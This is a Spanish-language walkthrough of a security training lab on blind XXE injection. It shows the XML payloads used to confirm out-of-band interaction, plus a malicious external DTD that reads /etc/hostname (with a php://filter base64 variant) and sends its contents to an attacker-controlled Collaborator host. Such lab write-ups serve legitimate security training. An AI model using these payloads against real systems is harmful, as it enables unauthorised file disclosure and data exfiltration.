XXE Injection Lab 5
Skills
- Exploiting blind XXE to exfiltrate data using a malicious external DTD
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio tiene una función de Check stock
que analiza entradas XML
, pero no muestra el resultado
. Para resolver el laboratorio, hay que extraer el contenido del archivo /etc/hostname
Resolución
Al acceder
a la web
nos sale esto
Si pulsamos en View details
veremos la descripción
del artículo
Si pulsamos en Check stock
y capturamos
la petición
con Burpsuite
vemos que se está tramitando un XML
Enviamos
una petición
con un DTD (Document Type Definition)
y a comprobar
si es vulnerable
a XXE
pero no vemos nada interesante en la respuesta
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe "Doe"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
Nos vamos a Burpsuite Collaborator
y pulsamos en Copy to clipboard
, este dominio
obtenido lo vamos a usar para construir este payload
, el %
sirve para llamar
a la entidad
desde el DTD
creado
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://lqfvrsm0rxqxty3gudtykjjoifo6cx0m.oastify.com"> %xxe; ]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
Nos vamos a Burpsuite Collaborator
y observamos que hemos obtenido respuesta
, lo cual quiere decir que ya tenemos un XXE out-of-band interaction
Lo que podemos hacer ahora que hemos confirmado que podemos cargar
un recurso
del servidor externo
es pulsar en Go to exploit server
, introducir este payload
en la parte de Body
y pulsar sobre Store
para almacenarlo. Esto %
es %
pero en hexadecimal
, se debe poner así y no en el formato normal para que funcione correctamente
1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://lqfvrsm0rxqxty3gudtykjjoifo6cx0m.oastify.com?content=%file;'>">
%eval;
%exfil;
En este laboratorio no funciona, pero podríamos usar este wrapper
de php
para encodear
el output
del comando
en base64
si es más de una línea
1
2
3
4
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://lqfvrsm0rxqxty3gudtykjjoifo6cx0m.oastify.com?content=%file;'>">
%eval;
%exfil;
Lo siguiente que debemos hacer es irnos a donde pone Craft response
, copiar la url https://exploit-0aa200cb045beea1d8e97fad01f20055.exploit-server.net/exploit
y enviar
la petición
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://exploit-0aa200cb045beea1d8e97fad01f20055.exploit-server.net/exploit"> %xxe; ]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
Ahora nos vamos a Burpsuite Collaborator
, pulsamos en Resquest to Collaborator
y vemos el /etc/hostname
Submiteamos
la solución
y completamos
el laboratorio